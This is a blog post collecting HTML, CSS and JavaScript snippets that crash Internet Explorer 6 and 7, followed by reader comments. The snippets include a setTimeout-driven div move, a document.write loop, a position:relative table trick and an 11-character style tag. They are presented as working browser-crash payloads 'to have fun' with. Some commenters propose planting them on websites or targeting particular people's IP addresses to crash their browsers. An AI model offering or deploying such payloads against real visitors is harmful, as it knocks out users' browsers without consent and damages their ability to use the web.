Let’s start with the longest of all:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow: hidden;
scrollbar-base-color: #330066;
}
.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}
</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}
function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move" class="crash">
<table>
<tbody>
<tr>
<td>
<textarea></textarea>
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>Javascript and IE6, a true love story…
<script>for (x in document.write) { document.write(x);}</script>This one was discover last year:
<style>*{position:relative}</style><table><input></table>Anti-IE Javascript strikes back!
<body onLoad=â€window()â€>
Now my favorite: 11 symbols and…bang 
<STYLE>@;/*
This one is the only one I know which make IE7 crash:
function getX( oElement ) {
var iReturnValue = 0;
while( oElement != null ) {
iReturnValue += oElement.offsetLeft;
oElement = oElement.offsetParent;
}
return iReturnValue;
}
Have some nice crashs 
My name is Jean-Baptiste Jung and I'm the man behind Cats Who Code. I started to use the Internet back in 1998 and started to create websites three years laters in 2001.
29 Comments
I didn’t tried them all, but already had lots of fun! ie sucks
Seems that number 3 doesn’t make my IE6 crash. Others works properly.
Unfortunately I already uninstalled all IE Versions…
@mig: Me too. But it can be very funny to put on a website
…and set the website as homepage xD
Sure, it’s a good way to convince someone who doesn’t want to switch to Firefox
the second one just closes the IE and does not crash … I tried by opening 2 windows and one just closed!! can u call this crashing?
BTW I never use IE…
“Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.”
this is true….
@shoban: For what I remember, the second crash IE as well as the others. I don’t have IE right now, but i’ll make a retry when i’ll be at work.
Btw, which serious people still use IE?
IE is still used by the majority of internet users because it’s convinient, every Windows has it. But it’s good treand to see that this number is smaller every day. I have been looking data for my blogs, and IE7 is third, and IE6 fifth browser. Firefox2 and Opera9 are first two. So, eventually IE6 will be gone, and IE7 is not that bad, but I would like to see it gone too. God help us with new IE8.
the last one does not work at all…
but the one with “position:relative” discovered last year still works on fully patched IE7 & XP SP3!
there was even an icq 6 crash possible meanwhile..
Designers should STOP using all kinds of hacks to make their designs work in IE. I mean, it’s about time all the people who still use IE migrate (…) to browsers that do a better job. Please let IE crash BIG TIME and let’s take it to the graveyard and get it over with, once and for all.
About time it becomes extinct.
My humble opinion…
@shanna: Totally agree…
@jbj: So good to know I’m not alone in this… (grin)
The IE7 one wouldn’t work for me..
just for fun….
this actually works, tested back to ie 5, on safari and FF 2 & 3
function getX( oElement ) {
var iReturnValue = 0;
do{
iReturnValue += oElement.offsetLeft;
}while(oElement = oElement.offsetParent)
return iReturnValue;
}
there is no typo, ‘while(oElement = oElement.offsetParent)’ is the important line
@zaphod: I’ll test it, thanks for your contribution!
The People out there who still use IE is the people not often use computer, thats why they don’t know how bad IE is. No need care for them.
Whew! I always check me design on all IE though I hate them.
I have a great idea. All those in the web design/dev arena decide on a date when we all stop using ie6. It will be a unified push to get rid of the enemy. I think we have pandered to its oppresive regine far too long, lets stand up for “ie must die day”, spread the word!
I should always check on all browsers
C’mon… Rather make nice flashing “IE6 not supported, please upgrade to newer browser.” It is easier and smarter.
omg !! guess what i was given with as the first task with my this new job was to fix their website on IE6, and I got the success in everything, just couldn’t get my PNG Fix (sob)
IE 6 restrictions in the integration with Javascript code haven’t been finally eliminated in the 7th issue of Internet Explorer. My experience proves that it’s possible to deal with IE and Firefox but it’s really impossible to make cross browsing code in JS for Opera browsers.
I have tried to create a html file with content “@;/*” just to try out this IE crasher on my corporate IE6. But McAfee virus scanner detected it as Trojan!
ee.. I wanted to say that was a crash script “11 symbols and…bang”..
Put one of the scripts on your formmail page, no more spam!
I’d guess a good way should be to put the 11-symbol trick inside a switch.
Like:
@;/*
Even if the page will work in other browsers, it doesn’t feel good to leave a tag opened like that. Must be better to hide from the other ones?
And thanks jbj for this great page.
The point is though, they can’t do anything useful on your website anymore. So I would target particularly stubburn person’s IP addresses.
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